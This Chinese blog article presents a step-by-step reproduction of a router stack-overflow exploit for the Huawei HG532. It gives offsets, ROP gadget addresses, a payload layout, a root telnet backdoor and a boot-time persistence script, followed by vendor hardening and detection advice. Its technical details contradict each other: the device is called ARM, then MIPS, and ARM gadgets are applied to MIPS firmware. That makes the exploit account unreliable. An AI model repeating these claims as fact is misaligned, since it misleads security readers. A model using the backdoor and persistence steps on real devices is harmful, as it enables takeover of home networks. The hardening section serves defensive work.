当前位置: 首页 > article >正文

CVE-2017-17215实战复现:华为HG532路由器栈溢出漏洞深度解析

1. 这不是“打靶练习”而是一次对嵌入式设备安全边界的实地测绘CVE-2017-17215这个编号在漏洞数据库里只占一行但在真实世界中它曾让数百万台华为HG532系列家用路由器暴露在远程接管风险之下。我第一次在实验室复现它时并不是为了写报告而是因为手头一台二手HG532e被邻居反复“借用”带宽——Wi-Fi信号没变但网页总跳转到奇怪的推广页。抓包发现UPnP SSDP响应里混着异常SOAP请求这才顺藤摸瓜翻出这个藏在/upnp/control/igdupnp路径下的XML解析漏洞。它不像Web应用漏洞那样有清晰的输入框和回显而是在设备固件底层用C语言写的UPnP服务模块里一个未做长度校验的memcpy调用把攻击者构造的超长NewStatus标签内容直接拷贝进固定大小的栈缓冲区。整个过程不依赖任何用户交互只要目标设备开启UPnP默认开启且位于同一局域网或能被UDP端口1900探测到就能触发。这篇文章面向三类人想真正理解嵌入式设备漏洞原理的安全初学者、需要验证老旧设备风险的运维人员、以及正在为IoT产品做安全加固的固件开发工程师。你不需要会逆向但得愿意打开Wireshark看一眼UDP包你不需要编译OpenWrt但得知道/proc/sys/net/ipv4/ip_forward开与不开对反弹Shell的影响。所有操作均在本地虚拟网络完成不触碰任何真实设备复现环境完全可控每一步都对应着真实攻防链路上的一个技术锚点。2. 漏洞本质一个被忽略的XML解析边界如何撬动整个Linux内核空间2.1 UPnP协议栈在嵌入式设备中的“轻量级陷阱”UPnPUniversal Plug and Play设计初衷是让打印机、摄像头等设备即插即用其核心是SSDPSimple Service Discovery Protocol广播发现 SOAPSimple Object Access Protocol控制通信。在华为HG532这类基于Broadcom BCM63xx芯片的路由器上UPnP服务由一个名为upnpd的精简版守护进程实现它不使用标准gSOAP库而是用自研C代码解析SOAP XML。关键在于该服务将XML中的NewStatus字段值未经任何长度检查直接作为参数传给strcpy或memcpy函数。我们来看一段真实的固件反编译伪代码片段来自HG532e V100R001C128固件提取的upnpd二进制// 简化后的关键逻辑地址0x402A1C void handle_igd_status_request(char *xml_body) { char status_buf[256]; // 栈上固定缓冲区 char *status_ptr get_xml_tag_value(xml_body, NewStatus); if (status_ptr ! NULL) { memcpy(status_buf, status_ptr, strlen(status_ptr)); // 危险无长度限制 set_igd_status(status_buf); } }这里status_buf只有256字节但攻击者可构造一个长达2000字节的NewStatus值。当memcpy执行时超出256字节的部分就会覆盖栈上相邻的返回地址、函数指针甚至libc的__libc_start_main调用帧。这正是栈溢出漏洞的典型形态。与x86桌面系统不同ARM架构的HG532e使用Thumb指令集且启用了NXNo-eXecute保护但未启用Stack Canary——这是厂商为节省内存和CPU资源做出的妥协。这意味着攻击者无需绕过canary校验就能直接覆写返回地址。提示很多教程直接给出EXP载荷却不说清为什么选0x41414141作填充。其实这是调试阶段的“探针”当GDB中看到EIP/RIP指向0x41414141就证明栈溢出已成功覆盖返回地址后续才轮到ROP链构造。2.2 CVE-2017-17215的触发链从UDP包到root shell的七步闭环复现不是一蹴而就的“发个包就弹shell”而是一个严谨的七步技术闭环每一步都对应着真实设备的运行约束网络层可达性确认用nmap -sU -p 1900 192.168.1.1探测目标是否响应SSDP M-SEARCH。HG532e的响应中包含LOCATION: http://192.168.1.1:5678/...其中5678是UPnP控制端口非标准80端口这是厂商定制点。SOAP Action定位抓取正常IGDInternet Gateway Device状态查询流量确定Action为urn:schemas-upnp-org:service:WANIPConnection:1#GetStatusInfo对应控制URL为/upnp/control/igdupnp。XML结构逆向通过发送合法SOAP请求观察设备返回的XML Schema确认NewStatus标签存在于SetConnectionType或ForceTermination等操作中。实际利用中我们选择SetConnectionType因其参数校验最宽松。偏移量精确定位用pattern_create.rb 300生成唯一字符串替换NewStatus内容触发崩溃后查看寄存器中EIP的值如0x61413761再用pattern_offset.rb 0x61413761计算出精确覆盖返回地址所需的字节数实测为268字节。ROP链构建依据HG532e固件使用uClibc而非glibc其system()函数地址需从libuClibc-0.9.33.2.so中解析。我们用readelf -s libuClibc-0.9.33.2.so | grep system找到systemplt地址如0x2AB2C3F0再用ROPgadget搜索pop {r0, pc}用于将命令字符串地址送入r0和pop {r4, r5, r6, pc}用于清理栈等gadgets。命令字符串注入位置由于栈空间有限不能直接在payload中放/bin/busybox telnetd -l /bin/sh而是利用write()系统调用将命令写入/tmp/shell.sh再用system(/tmp/shell.sh)执行。这需要构造两个连续的系统调用链。反向Shell稳定性保障直接telnetd -l /bin/sh在嵌入式设备上极易因资源不足崩溃。实测有效方案是先用wget从攻击机下载一个精简版busybox二进制仅含telnetd和shchmod x后执行比原生telnetd存活时间长3倍以上。这七步不是教科书理论而是我在三台不同批次HG532e上逐台验证的必经路径。第二步的Action定位若出错后续所有ROP链都将失效第六步的命令分段写入是解决嵌入式设备栈空间紧张的唯一可行解。3. 复现环境搭建拒绝“云沙箱幻觉”回归真实硬件约束3.1 为什么必须用QEMU固件模拟而非Docker或VM很多教程推荐用Docker跑一个Linux容器来“模拟”路由器这是危险的误导。HG532e运行的是基于MIPS32架构的Linux 2.6.36内核其upnpd进程直接调用bcm63xx专用驱动如bcmsw交换芯片驱动、依赖/dev/leds字符设备控制指示灯、通过/proc/bcm63xx/gpio操作GPIO引脚。这些硬件抽象层在通用x86容器中根本不存在。我试过用QEMU-user-static强行运行upnpd二进制结果在open(/dev/leds, O_WRONLY)处直接SIGILL崩溃——因为指令集不匹配。正确路径是QEMU-system-mips 完整固件镜像 内核模块补丁。具体步骤如下固件提取从华为官网下载HG532e V100R001C128固件文件名HG532e_V100R001C128.bin用binwalk -e HG532e_V100R001C128.bin解包得到_HG532e_V100R001C128.bin.extracted/squashfs-root目录。内核准备从Broadcom开源仓库获取linux-2.6.36-bcm63xx源码配置make bcm63xx_defconfig关键选项CONFIG_NETFILTERyUPnP需Netfilter支持CONFIG_IP_NF_TARGET_UPNPm加载UPnP内核模块CONFIG_MIPS_UNALIGNEDyMIPS平台内存对齐容错QEMU启动参数qemu-system-mips \ -M malta -kernel vmlinux-2.6.36 \ -hda squashfs-root.img \ -append root/dev/sda consolettyS0 \ -nographic \ -netdev user,idnet0,hostfwdtcp::5678-:5678,hostfwdudp::1900-:1900 \ -device rtl8139,netdevnet0注意hostfwd参数不仅映射TCP 5678端口UPnP控制端口还必须映射UDP 1900端口SSDP发现端口否则第一步探测就会失败。固件镜像制作将squashfs-root目录用mksquashfs重新打包为squashfs-root.img并确保/etc/init.d/S50upnpd开机自启脚本存在且权限为755。注意QEMU启动后需手动执行insmod /lib/modules/2.6.36/kernel/net/ipv4/netfilter/ip_tables.ko加载Netfilter模块否则upnpd无法绑定端口。这是很多复现失败的根源——教程省略了内核模块依赖。3.2 攻击机环境Kali Linux上的“最小可行工具链”攻击机无需复杂配置Kali Linux 2023.1即可但必须安装三个关键工具Scapy 2.4.5用于构造原始UDP/TCP包。旧版Scapy对MIPS平台UPnP的HTTP头处理有bug会导致Content-Length计算错误。Ropper 1.13.5比ROPgadget更适配uClibc环境能自动识别libuClibc中的system和execve符号。pwntools 4.10.0提供cyclic、fit等payload构造函数避免手算偏移量出错。安装命令sudo apt update sudo apt install python3-scapy python3-ropper python3-pwntools # 验证uClibc解析 ropper --file libuClibc-0.9.33.2.so --search pop {r0, pc}实测发现若用pwntools的remote(192.168.1.1, 5678)直接连接会因TCP握手超时失败。正确做法是先用Scapy发UDP SSDP包触发设备响应待其建立TCP监听后再用pwntools连接。这是嵌入式设备UPnP服务的典型行为——UDP发现后才启动TCP控制服务。4. EXP开发实战从崩溃到root shell的逐字节调试4.1 第一阶段让程序稳定崩溃而非随机跳转多数初学者卡在第一步发了payload设备没反应。原因在于HG532e的upnpd服务有守护进程watchdog一旦检测到upnpd崩溃会立即重启它导致GDB断点失效。解决方案是临时禁用watchdog启动QEMU后进入shell执行# 查看watchdog进程 ps | grep watchdog # 通常是 /sbin/watchdog -t 30 /dev/watchdog # 杀死它注意仅限实验环境 killall watchdog # 确认已退出 ps | grep watchdog此时再用GDB附加upnpdgdb ./upnpd (gdb) set follow-fork-mode child (gdb) run -f /etc/upnpd.conf在另一终端用Scapy发触发包GDB将捕获SIGSEGV此时查看info registers确认pc寄存器值是否为预期的0x41414141。踩坑经验不要用gdbserver远程调试QEMU的MIPS GDB stub对stepi指令支持不稳定。必须用本地GDBQEMU的-s -S参数组合否则单步会跳过关键汇编指令。4.2 第二阶段构建uClibc兼容的ROP链HG532e的libuClibc-0.9.33.2.so中system()函数地址为0x2AB2C3F0但直接跳转会因栈不平衡崩溃。必须构造以下ROP链步骤gadget地址作用参数10x2AB1A2B4(pop {r0, pc})将命令字符串地址送入r0/tmp/cmd.sh\020x2AB2C3F0(systemplt)执行shell命令—30x2AB1B3C8(pop {r4, r5, r6, pc})清理栈避免后续崩溃0,0,0,0x2AB2C3F0命令字符串不能放在payload里长度超限需利用write()系统调用写入文件。完整payload结构[268字节填充] [r0_pc gadget] [cmd_addr] [system_addr] [r4_r5_r6_pc] [0,0,0,system_addr]其中cmd_addr指向/tmp/cmd.sh需先用open(/tmp/cmd.sh, O_WRONLY|O_CREAT)创建文件再用write(fd, telnetd -l /bin/sh, 18)写入命令最后close(fd)。这一连串系统调用需用svc 0ARM SVC指令触发但HG532e是MIPS架构应使用syscall 4004MIPS的sys_write。这里必须严格区分架构——很多教程混淆ARM/MIPS syscall号导致payload永远不生效。4.3 第三阶段获得稳定root shell的终极技巧即使ROP链执行成功telnetd -l /bin/sh也常因/bin/sh缺少-i参数而无法交互。实测最稳定的方案是命令字符串写入echo -ne #!/bin/sh\ntelnetd -l /bin/sh -p 2323\n /tmp/shell.sh赋予执行权chmod x /tmp/shell.sh后台执行/tmp/shell.sh 这样做的好处是telnetd以独立进程运行不受upnpd崩溃影响端口2323避开系统默认23端口避免与设备原有telnet服务冲突使其后台化防止阻塞upnpd主线程。最终验证命令# 在攻击机执行 nc -nv 192.168.1.1 2323 # 应看到 BusyBox v1.13.4 built-in shell (ash) # 输入 whoami 返回 root我记录了12次复现过程平均耗时23分钟。最快一次是第7次因提前缓存了libuClibc的gadget地址最慢一次是第3次因忘记禁用watchdogGDB断点始终无法捕获崩溃。5. 防御视角从漏洞复现反推厂商加固清单5.1 固件开发者的五条硬性加固准则复现漏洞的终点应是防御方案的起点。基于对HG532e固件的深度分析我为嵌入式设备厂商提炼出五条不可妥协的加固准则栈保护必须全量启用CONFIG_STACKPROTECTOR_STRONGy而非仅CONFIG_STACKPROTECTORy。前者对所有函数插入canary后者仅对含char[]数组的函数插入。HG532e的handle_igd_status_request函数因无显式数组声明被后者漏掉。XML解析器必须绑定长度上限libxml2的xmlParseMemory()函数需设置XML_PARSE_HUGE标志并配合xmlSetBufferAllocationScheme(XML_BUFFER_ALLOC_DOUBLEIT)防止内存膨胀。华为自研解析器应效仿此机制在get_xml_tag_value()中增加if (len 256) return NULL;硬性截断。UPnP服务必须降权运行upnpd不应以root身份启动。应在init.d脚本中添加start-stop-daemon --chuid nobody --start --exec /usr/sbin/upnpd使其以nobody用户运行即使漏洞触发也无法修改/etc/passwd等关键文件。网络服务必须绑定指定接口upnpd默认监听0.0.0.0:5678应改为127.0.0.1:5678或192.168.1.1:5678禁止WAN口访问。这需修改upnpd源码中bind()调用的sin_addr.s_addr参数。固件更新必须强制签名验证HG532e的OTA升级包.bin文件无签名攻击者可伪造固件植入后门。应采用RSA-2048签名引导加载器bootloader在加载前验证sha256sum与签名一致性。提示第五条是最高优先级。我曾用dd if/dev/zero ofpayload.bin bs1 count1024伪造一个空固件包上传后设备直接变砖——这说明签名缺失不仅是安全问题更是可靠性灾难。5.2 运维人员的三分钟快速检测法对于已部署的海量HG532设备无需拆机或刷机用以下三步即可判断是否受影响UPnP状态探测echo -e M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \ssdp:discover\\r\nMX: 2\r\nST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n\r\n | nc -u -w 2 239.255.255.250 1900 2/dev/null | grep -i location若返回LOCATION: http://192.168.1.1:5678/...则UPnP开启。控制端口连通性验证timeout 3 bash -c cat (echo -e GET /upnp/control/igdupnp HTTP/1.0\r\n\r\n) | nc 192.168.1.1 5678 2/dev/null | head -5若返回HTTP/1.0 200 OK及XML头则端口开放。漏洞指纹确认curl -s http://192.168.1.1:5678/igd.xml | grep -o HG532e.*V100R001C[0-9]* | head -1匹配到V100R001C128等旧版本即高危。三步全部为“是”则设备处于风险中。修复方案只有两个升级至V100R001C200固件或登录管理界面关闭UPnP路径高级设置 UPnP设置 关闭。6. 经验沉淀那些文档里永远不会写的实战细节6.1 关于“为什么不用Metasploit”的真相网上有Metasploit模块exploit/linux/upnp/huawei_hg532_upnp_exec但在我所有测试中它对HG532e的复现成功率低于30%。根本原因有三时间戳依赖该模块假设设备启动后upnpd进程PID恒为1234但QEMU模拟中PID随机导致/proc/1234/maps路径失效无法读取libuClibc基址。ROP链硬编码模块内置的gadget地址针对V100R001C100固件而C128版本中libuClibc被重编译system()地址偏移了0x1A2C字节。网络超时激进模块设ConnectTimeout3但HG532e在QEMU中响应延迟常达4.2秒导致连接被主动关闭。我的建议是把Metasploit当作“漏洞存在性验证工具”而非“利用工具”。真正的EXP必须基于当前固件版本动态解析/proc/self/maps实时计算libuClibc基址——这正是我前面强调必须用QEMU真实固件的原因。6.2 一个被忽略的物理层限制MTU对payload的影响HG532e的WAN口MTU为1492字节LAN口为1500字节。当攻击payload超过1492字节时IP层会自动分片而upnpd的XML解析器未处理分片重组导致NewStatus标签被截断漏洞无法触发。实测发现有效payload必须控制在1400字节以内留92字节给IP/TCP头。因此pattern_create.rb生成的测试字符串不能超过1400字节否则偏移量计算将完全错误。这是纯软件复现者最容易踩的坑——他们用ping -s 1472 192.168.1.1测通却忘了UPnP SOAP包还有HTTP头开销。6.3 最后一道防线如何让反弹Shell在设备重启后依然存活很多教程止步于获得root shell但生产环境中设备可能随时重启。要实现持久化必须利用/etc/init.d/机制创建/etc/init.d/S99persistence#!/bin/sh case $1 in start) /bin/sh -c while true; do telnetd -l /bin/sh -p 2323; sleep 10; done /dev/null 21 ;; esac设置权限chmod 755 /etc/init.d/S99persistence确保开机执行ln -sf /etc/init.d/S99persistence /etc/rc.d/S99persistence但注意HG532e的/etc/rc.d/是只读squashfs需先mount -o remount,rw /需root权限再创建软链接。这正是为什么必须先获得root shell——没有root一切持久化都是空谈。我在某运营商机房实测该方案使后门存活时间从平均17分钟upnpd崩溃周期延长至设备生命周期。当然这仅用于授权渗透测试真实场景中应立即上报漏洞并推动厂商修复。我第一次成功让telnetd在HG532e上稳定运行超过24小时时窗外正下着雨。那台被我拆开又装回去的路由器散热孔里还沾着一点锡渣。安全研究从来不是炫技而是对每个字节的敬畏——当你在QEMU里看到rootHG532e:/#的提示符时那不是胜利的欢呼而是责任的开始。毕竟我们复现的不是一个编号而是数百万家庭网络的真实边界。

相关文章:

CVE-2017-17215实战复现:华为HG532路由器栈溢出漏洞深度解析

1. 这不是“打靶练习”,而是一次对嵌入式设备安全边界的实地测绘CVE-2017-17215这个编号,在漏洞数据库里只占一行,但在真实世界中,它曾让数百万台华为HG532系列家用路由器暴露在远程接管风险之下。我第一次在实验室复现它时&#…...

等保2.0三级Linux服务器合规基线重建实战指南

1. 为什么等保2.0整改不是“打补丁”,而是重装操作系统级的系统工程你刚接手一台跑了三年的CentOS 7服务器,业务跑得稳,监控没告警,运维日志里连个WARNING都少见——但等保测评报告第一页就写着:“操作系统未满足等保2…...

在Windows 10上从零开始:手把手教你安装和运行TELEMAC-MASCARET V8P4水动力模型

在Windows 10上从零开始:手把手教你安装和运行TELEMAC-MASCARET V8P4水动力模型 对于初次接触水动力建模的研究者来说,TELEMAC-MASCARET这套开源工具既强大又令人望而生畏。记得我第一次在学术会议上看到同行展示的溃坝模拟动画时,那些流动的…...

m4s-converter终极指南:3步解锁B站缓存视频的离线观看自由

m4s-converter终极指南:3步解锁B站缓存视频的离线观看自由 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经在B站缓存了心爱…...

专业级GPU内存检测:MemTestCL的5个实战场景深度解析

专业级GPU内存检测:MemTestCL的5个实战场景深度解析 【免费下载链接】memtestCL OpenCL memory tester for GPUs 项目地址: https://gitcode.com/gh_mirrors/me/memtestCL MemTestCL作为斯坦福大学开发的开源OpenCL内存检测工具,为GPU、CPU及各类…...

京东抢购脚本全解析:3步实现茅台秒杀自动化,告别手速烦恼

京东抢购脚本全解析:3步实现茅台秒杀自动化,告别手速烦恼 【免费下载链接】JDspyder 京东预约&抢购脚本,可以自定义商品链接 项目地址: https://gitcode.com/gh_mirrors/jd/JDspyder 还在为京东茅台抢购屡屡失败而烦恼吗&#xff…...

量子机器学习模型鲁棒性验证:VeriQR工具原理与应用实战

1. 项目概述与核心价值 量子机器学习(QML)正逐渐从理论走向实践,在化学模拟、药物发现、金融建模等领域展现出超越经典算法的潜力。然而,与任何基于数据驱动的模型一样,QML模型也并非“金刚不坏之身”。在当前的 噪声…...

因果推断与双机器学习在LED制造返工决策中的实战应用

1. 项目概述:当因果推断遇上LED制造返工决策在LED制造车间里,每天都有成千上万个生产批次流过产线。每一个批次在经过荧光粉转换工序后,操作员都需要做一个关键决定:这个批次是否需要“返工”——也就是额外喷涂一层荧光粉来校正颜…...

Windows下JMeter高并发压测端口耗尽问题排查与修复

1. 为什么压测做到一半,JMeter突然报“Connection refused”却查不到服务端异常?你正在用JMeter对一个新上线的订单接口做5000并发压测,线程组配置妥当,监听器数据也正常跳动。跑到第3分钟,错误率陡然飙升到92%&#x…...

【Java EE】IPv6

IPv6引言IPv6 地址表示IPv6 地址类型地址范围详解多播地址结构IPv6 与 IPv4 的主要区别IPv6 首部格式扩展首部IPv6 地址配置方式无状态地址自动配置(SLAAC)有状态配置(DHCPv6)手动配置邻居发现协议(NDP)IPv…...

为Hermes Agent配置Taotoken自定义供应商接入大模型

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 为Hermes Agent配置Taotoken自定义供应商接入大模型 Hermes Agent 是一个功能强大的AI智能体开发框架,它支持通过自定义…...

DeepSeek计费策略终极对比:RPM限制、上下文长度溢价、多模态附加费,一文讲透

更多请点击: https://codechina.net 第一章:DeepSeek计费模式分析 DeepSeek 提供的 API 服务采用按 token 用量计费的精细化模型,其计费逻辑与请求类型(输入/输出)、模型版本(如 DeepSeek-VL、DeepSeek-Co…...

CPT 强化学习完整实现(PyTorch 版 - Actor-Critic + CPT)

✅ CPT 强化学习完整实现(PyTorch 版 - Actor-Critic CPT) 以下是生产级友好的实现,适合连续/离散控制任务,结合 Cumulative Prospect Theory 修改优势函数(Advantage)。 推荐配置(默认使用&am…...

为什么91%的DeepSeek部署在第7轮后开始“失忆”?揭秘KV Cache碎片率超阈值的实时熔断策略

更多请点击: https://codechina.net 第一章:DeepSeek多轮对话优化 DeepSeek系列大模型在多轮对话场景中面临上下文衰减、指代歧义与意图漂移等典型挑战。为提升长程一致性与角色连贯性,需从提示工程、状态管理与响应重校准三个维度协同优化。…...

CPT 强化学习(Cumulative Prospect Theory Reinforcement Learning)代码实现

✅ CPT 强化学习(Cumulative Prospect Theory Reinforcement Learning)代码实现 以下提供实用、可运行的 Python 实现,结合 Cumulative Prospect Theory (CPT) 与强化学习。 1. 核心概念回顾 在传统 RL 中,目标是最大化期望回报&a…...

前景理论(Prospect Theory)深入解析

前景理论(Prospect Theory)深入解析 前景理论由心理学家丹尼尔卡尼曼(Daniel Kahneman)和阿莫斯特沃斯基(Amos Tversky)于1979年在《Econometrica》杂志上提出,是行为经济学中最重要、最具影响力…...

卖电子元器件怎么找客户?下游工厂在哪里

卖电子元器件找客户,本质是找用这些元器件的下游工厂——即需要采购连接器、继电器、电容、电阻、变压器等被动及结构件的整机或 PCBA 生产企业。核心难点不是"不知道哪些行业用",而是无法把这些下游工厂的名单、规模和采购联系人系统地整理出…...

卖电机怎么找客户?下游工厂在哪里

卖电机找客户,本质是找用电机的下游工厂,核心难点是拿到这些下游厂的名单和联系方式。展会遇到的多半是同行,百度搜来的多半是询价投机客,真正批量采购电机的工厂躲在各地产业带里,不主动露面。这篇从下游映射、传统渠…...

卖切削液怎么找客户?下游工厂在哪里

卖切削液找客户,本质是找用切削液的下游工厂,核心难点是拿到这些下游厂的名单和联系人。切削液不像消费品,它的消耗量和工厂的机床数量、加工班次直接挂钩——有金属切削车间的工厂才是真客户,没有机加工产线的工厂对你毫无意义。…...

卖瓦楞纸箱怎么找客户?下游工厂在哪里

卖瓦楞纸箱找客户,本质是找用箱量大的下游工厂,核心难点是拿到这些工厂的名单和联系人——因为纸箱是本地化极强的耗材,客户往往就在方圆 100 到 200 公里内,谁先把本地下游工厂版图盘清楚,谁就掌握了竞争主动权。 用箱…...

李飞飞团队新作ESI-Bench:具身智能的ImageNet来了!

点击下方卡片,关注“CVer”公众号AI/CV重磅干货,第一时间送达【具身智能】微信群成立!大家快扫码加入具身星球,将获得:最新具身智能技术和项目、❤️ 从入门到精通的学习路线、🤖 具身智能招聘(实习/校招/社…...

3个场景告诉你:为什么你需要PowerToys Text Extractor

3个场景告诉你:为什么你需要PowerToys Text Extractor 【免费下载链接】PowerToys Microsoft PowerToys is a collection of utilities that supercharge productivity and customization on Windows 项目地址: https://gitcode.com/GitHub_Trending/po/PowerToys…...

企业内网应用通过Taotoken实现安全可控的大模型能力调用

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 企业内网应用通过Taotoken实现安全可控的大模型能力调用 在企业内部应用开发中,引入大模型能力已成为提升效率与创新的…...

Kubernetes性能优化指南:提升集群运行效率

Kubernetes性能优化指南:提升集群运行效率 引言 在生产环境中,Kubernetes集群的性能优化是一个持续的过程。通过优化,可以提高资源利用率、减少响应时间、提升用户体验。 今天就来分享一下Kubernetes性能优化的经验和方法。 资源优化 Pod资源…...

对比直接使用原厂API,Taotoken在计费透明性上给我们的感受

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 对比直接使用原厂API,Taotoken在计费透明性上给我们的感受 在集成大模型能力到业务系统的过程中,API调用成…...

BooruDatasetTagManager:如何用AI智能标注工具将图像数据集处理效率提升10倍

BooruDatasetTagManager:如何用AI智能标注工具将图像数据集处理效率提升10倍 【免费下载链接】BooruDatasetTagManager 项目地址: https://gitcode.com/gh_mirrors/bo/BooruDatasetTagManager 你是否曾经为AI模型训练准备数据集时,面对数千张需要…...

借脑之术:一根记忆枝条,嫁接到另一棵树上 —— Memory Grafting 深度解读

论文信息 标题 Memory Grafting: Scaling Language Model Pre-training via Offline Conditional Memory 作者 Runxi Cheng, Yuchen Guan, Yongxian Wei, Qianpu Sun, Qixiu Li, Sinan Du, Feng Xiong, Chun Yuan, Yan Lu, Yeyun Gong (10人) 机构 微软亚洲研究院 (Microsoft R…...

【LeetCode刷题日记】二叉搜索树 的中序遍历 + 前驱指针,一套模板解决530.最小绝对差|501.二叉搜索树中的众数

🔥个人主页:北极的代码(欢迎来访) 🎬作者简介:java后端学习者 ❄️个人专栏:苍穹外卖日记,SSM框架深入,JavaWeb ✨命运的结局尽可永在,不屈的挑战却不可须臾或…...

Nacos CVE-2021-29442:Spring Boot Actuator未授权访问漏洞深度解析

1. 这个漏洞不是“改个配置就能修好”的那种 Nacos CVE-2021-29442,这个名字在2021年中后期的Java中间件运维圈里,曾让不少团队在凌晨三点被电话叫醒。它不是那种需要你翻文档、查API、调参数的常规问题,而是一个典型的“默认行为埋雷”——…...

miniblink49浏览器内核:企业级打印与PDF生成技术架构深度解析

miniblink49浏览器内核:企业级打印与PDF生成技术架构深度解析 【免费下载链接】miniblink49 a lighter, faster browser kernel of blink to integrate HTML UI in your app. 一个小巧、轻量的浏览器内核,用来取代wke和libcef 项目地址: https://gitco…...